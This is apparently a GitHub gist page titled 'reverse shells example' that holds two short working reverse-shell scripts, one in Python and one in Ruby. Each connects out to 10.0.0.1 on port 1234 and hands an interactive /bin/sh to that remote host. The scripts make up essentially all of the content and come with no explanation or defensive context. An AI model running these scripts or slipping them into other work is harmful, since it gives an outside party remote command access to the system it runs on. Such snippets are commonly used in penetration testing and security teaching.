Last active
January 6, 2021 16:20
-
-
Save tuxfight3r/8b0470d1af99159f15a2470a3e4fe694 to your computer and use it in GitHub Desktop.
reverse shells example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!usr/bin/python | |
import socket | |
import subprocess | |
import os | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
s.connect(("10.0.0.1",1234)) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
p=subprocess.call(["/bin/sh","-i"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
require "socket" | |
f=TCPSocket.open("10.0.0.1",1234).to_i; | |
exec sprintf ("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment